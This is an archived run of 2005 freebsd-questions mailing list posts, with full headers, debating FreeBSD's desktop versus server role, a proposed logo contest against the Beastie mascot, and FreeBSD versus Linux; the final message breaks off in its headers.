(PST) From: "Michael C. Shultz" To: Sander Vesik Date: Sat, 12 Feb 2005 01:22:33 -0800 User-Agent: KMail/1.7.1 References: <1935025570.20050211232605@wanadoo.fr> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502120122.33589.reso3w83@verizon.net> X-Authentication-Info: Submitted using SMTP AUTH at out001.verizon.net from [4.26.84.7] at Sat, 12 Feb 2005 03:26:46 -0600 cc: freebsd-questions@freebsd.org Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 09:26:48 -0000 On Saturday 12 February 2005 12:58 am, Sander Vesik wrote: > On Fri, 11 Feb 2005 23:26:05 +0100, Anthony Atkielski > > wrote: > > Julio Capote writes: > > > A website like www.spreadfirefox.com aims at targetting firefox > > > to regular users that may not get the full "marketing dosage" > > > from www.mozilla.org, so why not do the same for freebsd? > > > > Because FreeBSD is a server, not a desktop. The real market > > potential is on the server side. And if you want to convince large > > organizations to adopt FreeBSD as a server, you must not present it > > as a substitute for Windows desktops, a/k/a "regular users." > > This is BULLSHIT. Not just any any bullshit either but virulent > stinky bullshit - and also coincidentially the best way to dispromote > FreeBSD. > > > -- > > Anthony I Agree! My FreeBSD desktop is very stable and user friendly. What ever time I spend fixing/managing desktops is on my friends windows machines, never my own because it always just works. To be fair though Xorg and KDE deserve some credit credit for this as well. -Mike From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 09:34:40 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id DA19C16A4CE for ; Sat, 12 Feb 2005 09:34:40 +0000 (GMT) Received: from out005.verizon.net (out005pub.verizon.net [206.46.170.143]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5DC8B43D1F for ; Sat, 12 Feb 2005 09:34:40 +0000 (GMT) (envelope-from reso3w83@verizon.net) Received: from ringworm.mechee.com ([4.26.84.7]) by out005.verizon.net (InterMail vM.5.01.06.06 201-253-122-130-106-20030910) with ESMTP id <20050212093439.FPRP6130.out005.verizon.net@ringworm.mechee.com>; Sat, 12 Feb 2005 03:34:39 -0600 Received: by ringworm.mechee.com (Postfix, from userid 1001) id DEBBE2CE740; Sat, 12 Feb 2005 01:30:26 -0800 (PST) From: "Michael C. Shultz" To: freebsd-questions@freebsd.org Date: Sat, 12 Feb 2005 01:30:24 -0800 User-Agent: KMail/1.7.1 References: <20050212065827.21656.qmail@web51003.mail.yahoo.com> In-Reply-To: <20050212065827.21656.qmail@web51003.mail.yahoo.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502120130.25387.reso3w83@verizon.net> X-Authentication-Info: Submitted using SMTP AUTH at out005.verizon.net from [4.26.84.7] at Sat, 12 Feb 2005 03:34:39 -0600 cc: faisal gillani Subject: Re: OT sharing how,tos & articles ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 09:34:41 -0000 On Friday 11 February 2005 10:58 pm, faisal gillani wrote: > well i am builting a opensource softwares related site > on which i have a articals section ill use to promote > open source softwares in my reagion , so i was > thinking does the open source people allow their > documentations to be shared ? if not all then can u > recommend a site about freeBSD that will let me do so > ? > I'm not sure if you only want FreeBSD docks, but if you are also interested in open source ports in FreeBSD's port collection I'm sure most of the 12,000 port author's would enjoy you writing an article about their project. -Mike From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 09:41:54 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0585116A4CE; Sat, 12 Feb 2005 09:41:54 +0000 (GMT) Received: from ew.co.za (g2.endorphinweb.co.za [196.41.15.93]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0531B43D48; Sat, 12 Feb 2005 09:41:51 +0000 (GMT) (envelope-from fbsdlists@mnet-online.de) X-Scanned-By: This message was scanned by EW virus scanning services (www.ew.co.za) Received: from [62.245.241.142] (unverified [62.245.241.142]) by ew.co.za (SurgeMail 2.2c10) with ESMTP id 18204 for multiple; Sat, 12 Feb 2005 11:41:30 +0200 In-Reply-To: <9C4E897FB284BF4DBC9C0DC42FB34617641AE6@mvaexch01.acuson.com> References: <9C4E897FB284BF4DBC9C0DC42FB34617641AE6@mvaexch01.acuson.com> Mime-Version: 1.0 (Apple Message framework v619) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <2813D6A9-7CDA-11D9-8FA0-000A95D5F764@mnet-online.de> Content-Transfer-Encoding: 7bit From: Stephan Lichtenauer Date: Sat, 12 Feb 2005 10:40:40 +0100 To: Johnson David X-Mailer: Apple Mail (2.619) X-Server: High Performance Mail Server - http://surgemail.com X-Authenticated-User: s01@lichtenauer.co.za cc: freebsd-advocacy@freebsd.org cc: "'freebsd-questions@freebsd.org'" Subject: Re: SPAM: Score 3.3: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 09:41:54 -0000 Am 12.02.2005 um 00:00 schrieb Johnson David: > From: Anthony Atkielski [mailto:atkielski.anthony@wanadoo.fr] >> >> Because FreeBSD is a server, not a desktop. > > Agree and disagree. While FreeBSD is well suited for the server, it's > also > well suited for the desktop. That doesn't mean that we should be > stressing > the desktop to those shopping for servers, instead it means that we > shouldn't be telling those shopping for desktops to go use Linux > instead. > How many business will be running Linux on the desktop but FreeBSD on > the > server? None! > > Currently Windows rules the desktop world, even for diehard Unix > shops. But > that will not last forever. We need to start thinking about the desktop > today. We need to stop the official discouragement of desktop FreeBSD. > I agree with you, David, that although FreeBSD is primarily a server OS right now the desktop should not be forgotten. > So how about a "www.serverfreebsd.com" and a "www.desktopfreebsd.com"? > You > get the best of both worlds that way. I would not make completely separate sites. Maybe IMHO make two separate big areas you can choose on the start page of the website but make one entry point so people immediately can see that FreeBSD can be used for both. Alternatively one could make links from the single freebsd.com (or whatever its name will be) to these two sites you propose. Stephan From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 09:49:03 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 172C016A4CE for ; Sat, 12 Feb 2005 09:49:03 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 950A243D1F for ; Sat, 12 Feb 2005 09:49:02 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1C9n4j30675; Sat, 12 Feb 2005 01:49:05 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: Date: Sat, 12 Feb 2005 01:49:03 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: <20050211151210.GB1404@keyslapper.net> Importance: Normal cc: FreeBSD@keyslapper.net Subject: RE: Please don't change Beastie to another crap logo suchasNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 09:49:03 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Louis LeBlanc > Sent: Friday, February 11, 2005 7:12 AM > To: freebsd-questions@freebsd.org > Subject: Re: Please don't change Beastie to another crap logo > suchasNetBSD!!! > > So, do you draw the line in the sand here, or just step back? I've > drawn my lines before, and most of the time I'm *made* to step back. > Every time you draw another line, you get more fanatical or more > tired. If you rankle over the lines you've drawn in the past, you get > more fanatical. Otherwise those lines start to make less sense and > you just get tired and start accepting the ideals you drew lines > against. > This misses the point, Louis. You and I both understand the ideals at stake with Beastie. But an even more important ideal is that a civilized person fights against something he sees that is wrong, he does not remain silent. Remaining silent when an injustice is being done makes you no better than the criminal doing the injustice. Even if we lose this and are pushed over, it doesen't matter, because when we chose to fight, even though we lose, that means we have won when it comes to the higher ideal of fighting against injustice. I feel sorry for people like Garance, really. Here's a person who is tired of explaining Beastie, in short, he is tired of explaining the ideals of why FreeBSD is important. To him, FreeBSD is just another operating system - it's a better tool than the others, yes, but to him that is all there is to it. He doesen't really care about the ideals behind Open Source, not emotionally that is. To him it is all intellectual. He has no passion anymore for it, if he ever did. His goal is to see FreeBSD expanded simply because it's better than all the other operating systems, and he is willing even to sacrifice things that are integral to it - such as Beastie - in his quest to expand it. What he sadly doesen't understand is that going down this road means that at every turn you compromise something else, and that by the time you get to the end of the road, what you have been carrying is so twisted and changed that you hate it and hate yourself for allowing it to be ruined. You and I we know that there is more to the FreeBSD operating system movement than mere software. And a lot of the userbase understands this at a gut level too. We may not be able to immediately frame in words what that indefinable thing is - but we know it's there. Unless you want to switch that part of yourself off, your not going to be able to help seeing that what is happening is wrong. And when you know that something is wrong, you also know that you have a duty to speak out about it. Also, don't forget that there are many people that who are just beginning to understand what FreeBSD is all about. Even though they don't fully understand what makes FreeBSD so special and unique yet, this issue still matters to them, and they are depending on folks like us who do fully understand it. We also have a duty to them to speak out. Ted From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 09:56:45 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B1FE316A4CE for ; Sat, 12 Feb 2005 09:56:45 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 33C0B43D49 for ; Sat, 12 Feb 2005 09:56:45 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1106.wanadoo.fr (SMTP Server) with ESMTP id 97D161C0008F for ; Sat, 12 Feb 2005 10:56:44 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1106.wanadoo.fr (SMTP Server) with ESMTP id 5BEAB1C00097 for ; Sat, 12 Feb 2005 10:56:44 +0100 (CET) X-ME-UUID: 20050212095644376.5BEAB1C00097@mwinf1106.wanadoo.fr Date: Sat, 12 Feb 2005 10:56:44 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <823196404.20050212105644@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <200502112313.28082.hindrich@worldchat.com> References: <200502112313.28082.hindrich@worldchat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Freebsd vs. linux X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 09:56:45 -0000 > Could you please either explain, why Freebsd is superior to Linux, (I am > asking this as I would like to understand, in more depth, why it is > better) or direct me to a source that might give me some further > reading on the subject. The main reason why I consider Linux inferior to FreeBSD is that Linux is only a kernel, whereas FreeBSD is a complete OS. Linus Torvalds originally wrote only the kernel portion of an operating system. He wrote it from scratch and patterned it after the behavior of the well-established UNIX operating system. This kernel became Linux. Unfortunately, a kernel alone doesn't make an operating system. So people began adding programs to the kernel in order to provide something complete enough to actually run as an OS. Different organizations added a different mix of programs, and each mix today is called a "distribution." No two distributions are alike. The set of programs you get in your Linux OS from Red Hat isn't the same as the set of programs you get in your OS from Debian, and so on. The Linux situation is pretty unusual. Most operating systems, including FreeBSD, are supplied as complete operating systems from the start, including not only a kernel but also a comprehensive, coherent, and consistent set of system programs to run under that kernel. You don't need a "distribution"; the OS already contains everything you need to run the system. In my view, this greatly improves reliability, stability, and coherent of the OS, as there is only one version of the OS for each release, and it is complete in itself. Another reason why I prefer FreeBSD is that the BSD UNIX systems have a much longer history that is much more closely linked to UNIX as a concept than does Linux. New code is usually buggy code, and so I prefer an OS that has time-proven code, or at least is patterned after time-proven OS concepts. I find it very hard to believe that a university student is going to write a kernel that is superior to kernels that have been established and tweaked little by little by many programmers over a period of decades. For example, I learned only yesterday that Linux does asynchronous disk I/O by default. That means that disk I/O is buffered within the kernel, such that data written to disk doesn't immediately get actually recorded on disk--instead, the OS actually writes to disk when it deems it best from a performance standpoint. While this improves performance enormously, it does so at a very high potential cost: because if the system crashes before the disk is written, the entire file system may be destroyed (key blocks on disk within the file system may not be updated correctly, causing corruption so serious that the file system must be recreated and restored completely from backup). FreeBSD, on the other hand, uses a type of buffered I/O that guarantees that the file system structure on disk is always coherent. Disk writes are buffered, but they are written out to disk in such a way that, at any given instant, the file structure is clean and coherent. If a power failure occurs, you may lose the last few seconds of data you wrote to a file, but the structure of your system and directories will not be corrupted. Still another reason why I prefer FreeBSD is that it places far less emphasis on the desktop. Linux has been moving more and more towards a desktop because that's where the hype and money is perceived to be. It's a losing proposition because Windows and the Mac are so dramatically superior to Linux that it will probably never catch up. But all the emphasis on pretty graphics and Windows-like desktop behavior are made at the expense of server performance. You can't have an OS that is both a good server AND a good desktop. Linux is wasting time aiming at the desktop, while most other versions of UNIX (including FreeBSD) are aiming at servers. I run a server, so I use FreeBSD. (Ironically, Mac OS X uses elements of BSD as its foundation and is a UNIX system underneath the hood. But Apple has hugely modified the upper layers of the OS and has done so in a coherent, controlled way, producing a desktop that is dramatically superior to anything Linux will ever produce.) Finally, I know from some years of experience with FreeBSD that it is a rock stable operating system that makes very efficient use of whatever hardware you give it and never crashes. I have thus come to trust it for my production server, which must run 24 hours per day (350,000 unique visitors per month on my Web site, or about 12 million hits, plus all of my DNS resolution, e-mail services, time synchronization, etc.). I hope this helps. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 09:58:12 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 71D4D16A4CE for ; Sat, 12 Feb 2005 09:58:12 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2DAFF43D48 for ; Sat, 12 Feb 2005 09:58:12 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1101.wanadoo.fr (SMTP Server) with ESMTP id 3062B1C0009E for ; Sat, 12 Feb 2005 10:58:10 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1101.wanadoo.fr (SMTP Server) with ESMTP id 13DA21C0008C for ; Sat, 12 Feb 2005 10:58:10 +0100 (CET) X-ME-UUID: 20050212095810814.13DA21C0008C@mwinf1101.wanadoo.fr Date: Sat, 12 Feb 2005 10:58:09 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <126689881.20050212105809@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <200502112325.j1BNPw201164@clunix.cl.msu.edu> <1108168477.45718.19.camel@p4><1108178253.46376.11.camel@p4> <583702950.20050212044425@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo such as X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 09:58:12 -0000 Chad Leigh -- Shire.Net LLC writes: > This is all very well and good, but is irrelevant to the earlier > discussion. It doesn't have to be relevant to the earlier discussion. It is very highly relevant to FreeBSD. > You are not a Suit we are trying to impress or get to use FreeBSD. You > are on a general technical support mailing list and "behavior" here is > different than would be in a formal presentation or even official > support mechanism. The problem is that this is the only behavior there is for the moment. There is no official support mechanism, and I daresay there is virtually no one who can do good formal presentations of the OS, either. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 10:01:28 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9715516A4CE for ; Sat, 12 Feb 2005 10:01:28 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 51A8143D49 for ; Sat, 12 Feb 2005 10:01:28 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1107.wanadoo.fr (SMTP Server) with ESMTP id 7E96A1C0009B for ; Sat, 12 Feb 2005 11:01:27 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1107.wanadoo.fr (SMTP Server) with ESMTP id 636D01C00093 for ; Sat, 12 Feb 2005 11:01:27 +0100 (CET) X-ME-UUID: 20050212100127407.636D01C00093@mwinf1107.wanadoo.fr Date: Sat, 12 Feb 2005 11:01:27 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1173315757.20050212110127@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <1108182559.37129.44.camel@zappa.Chelsea-Ct.Org> References: <20050212025509.93CAD16A4CF@hub.freebsd.org> <1108182559.37129.44.camel@zappa.Chelsea-Ct.Org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 10:01:28 -0000 Paul Mather writes: > The operating system is one thing; a certain level support is another. > That's Free/Open Source software for you. Yes. And it's one of the factors that makes the open-source movement highly self-limiting. I don't know of any way around it. But that's why I'd only recommend open-source solutions for mission-critical functions if an organization already has all the expertise it needs to support those solutions in-house and on site ... because if something goes down, that's the only serious support that will be available. In many situations, a limited level of support is tolerable, but not for key and mission-critical production use. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 10:03:48 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A281116A4CE for ; Sat, 12 Feb 2005 10:03:48 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 51D7943D3F for ; Sat, 12 Feb 2005 10:03:48 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1103.wanadoo.fr (SMTP Server) with ESMTP id 716901C000B3 for ; Sat, 12 Feb 2005 11:03:47 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1103.wanadoo.fr (SMTP Server) with ESMTP id 543D51C0008E for ; Sat, 12 Feb 2005 11:03:47 +0100 (CET) X-ME-UUID: 20050212100347345.543D51C0008E@mwinf1103.wanadoo.fr Date: Sat, 12 Feb 2005 11:03:47 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1998786036.20050212110347@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <649200329.20050211081852@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 10:03:48 -0000 Ted Mittelstaedt writes: > Then if it is so unimportant why change it from beastie? I don't know ... why? The discussion I've seen has centered on developing a logo, not changing the cartoon mascot. I personally don't care about any of it for my own use, as long as the software remains at the same high quality level. But a logo would be nice for promoting the OS to other parties, particularly corporations and other similar organizations (as opposed to geeks sitting at home in a t-shirt in front of the machine with a Pepsi in hand). -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 10:06:56 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 734DB16A4CE; Sat, 12 Feb 2005 10:06:56 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id E8EA843D2F; Sat, 12 Feb 2005 10:06:55 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1CA6wj31182; Sat, 12 Feb 2005 02:06:58 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Garance A Drosehn" , Date: Sat, 12 Feb 2005 02:06:57 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: Importance: Normal Subject: RE: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 10:06:56 -0000 > -----Original Message----- > From: Garance A Drosehn [mailto:gad@FreeBSD.org] > Sent: Friday, February 11, 2005 1:59 PM > To: Ted Mittelstaedt; freebsd-questions@FreeBSD.org > Subject: Re: Please don't change Beastie to another crap logo such as > NetBSD!!! > > > > And frankly, most FreeBSD commiters do not read the -advocacy or > -questions mailing lists (I never read advocacy, for instance). So > maybe only three or four committers have explicitly expressed support > for a LOGO CONTEST. Are you just too dense to understand that supporting a logo contest automatically implies that you are unsatisfied with the current logo? If you like Beastie why on earth would you want a contest to replace him? For the last time, it is not the contest that I and others are objecting to. It is what you intend to do with the results of the contest - that is, replace Beastie. > How many committers have responded here saying > just how much they hate the idea of even running the contest? > Why would they bother posting at all? It is not they who are being attacked - it's you and the others who want to dump Beastie and replace him. Of course since they aren't being attacked they aren't going to have a need to defend themselves. > And let me say once again, this is FOR a LOGO contest -- which is > not the same as being "Anti-beastie". All of us have said that > the Beastie will remain as a mascot. An hour ago you posted this: "if our much-larger user base has any interesting ideas for a new logo" you did NOT say: "if our much-larger user base has any interesting ideas for a logo" Your statement implied that a logo already existed - which in fact it does. You also said: "Somehow the ones who like the PRESENT logo seem to think.." What I see here is that when your using the "we never had a logo before" argument, you pretend a logo didn't exist, but all other times you acknowledge that it does exist. Ted From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 10:07:53 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 53B3E16A53A for ; Sat, 12 Feb 2005 10:07:53 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 106BF43D31 for ; Sat, 12 Feb 2005 10:07:53 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1112.wanadoo.fr (SMTP Server) with ESMTP id 45CEB1C0009E for ; Sat, 12 Feb 2005 11:07:52 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1112.wanadoo.fr (SMTP Server) with ESMTP id 276EE1C00095 for ; Sat, 12 Feb 2005 11:07:52 +0100 (CET) X-ME-UUID: 20050212100752161.276EE1C00095@mwinf1112.wanadoo.fr Date: Sat, 12 Feb 2005 11:07:44 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <491919829.20050212110744@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <467538167.20050211234639@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 10:07:53 -0000 Ted Mittelstaedt writes: > The committers do know about this and are careful about it. You will > note that this is discussed more fully here: > > http://www.freebsd.org/doc/en_US.ISO8859-1/articles/contributing/contrib- > how.html > > under the section: > > New Code or Major Value-Added Packages > > I am very surprised that you missed this. Could it be made any more > obvious? Yes, it could be made about a thousand times more obvious. It should be right on the first page of the site, not buried in the documentation. And it is still a bit worrisome, because it says "When working with large amounts of code, the touchy subject of copyrights also invariably comes up." Unfortunately, copyright applies to small amounts of code, too, not just large amounts. Even a few lines can lead to litigation if the copyright status of those lines is not verified and cleared before they are incorporated into the product. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 10:13:08 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5117A16A4CE for ; Sat, 12 Feb 2005 10:13:08 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0B87143D41 for ; Sat, 12 Feb 2005 10:13:08 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1108.wanadoo.fr (SMTP Server) with ESMTP id 3F7D11C000AB for ; Sat, 12 Feb 2005 11:13:07 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1108.wanadoo.fr (SMTP Server) with ESMTP id 2718D1C0008C for ; Sat, 12 Feb 2005 11:13:07 +0100 (CET) X-ME-UUID: 20050212101307160.2718D1C0008C@mwinf1108.wanadoo.fr Date: Sat, 12 Feb 2005 11:13:06 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <768934056.20050212111306@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <7710307462.20050211180554@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 10:13:08 -0000 Ted Mittelstaedt writes: > Technically superior products are technically superior because they > have MORE than the customary R&D put into them. That makes them MORE > expensive than the median/mediocre products that dominate a market. Explain Intel. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 10:13:24 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7BBBC16A4CE for ; Sat, 12 Feb 2005 10:13:24 +0000 (GMT) Received: from ptb-relay03.plus.net (ptb-relay03.plus.net [212.159.14.214]) by mx1.FreeBSD.org (Postfix) with ESMTP id 301B543D46 for ; Sat, 12 Feb 2005 10:13:24 +0000 (GMT) (envelope-from ian@codepad.net) Received: from [80.229.159.44] (helo=hercules.codepad.net) by ptb-relay03.plus.net with esmtp (Exim) id 1CzuaB-000GQu-QV for freebsd-questions@freebsd.org; Sat, 12 Feb 2005 10:32:59 +0000 From: Xian To: freebsd-questions@freebsd.org Date: Sat, 12 Feb 2005 10:13:20 +0000 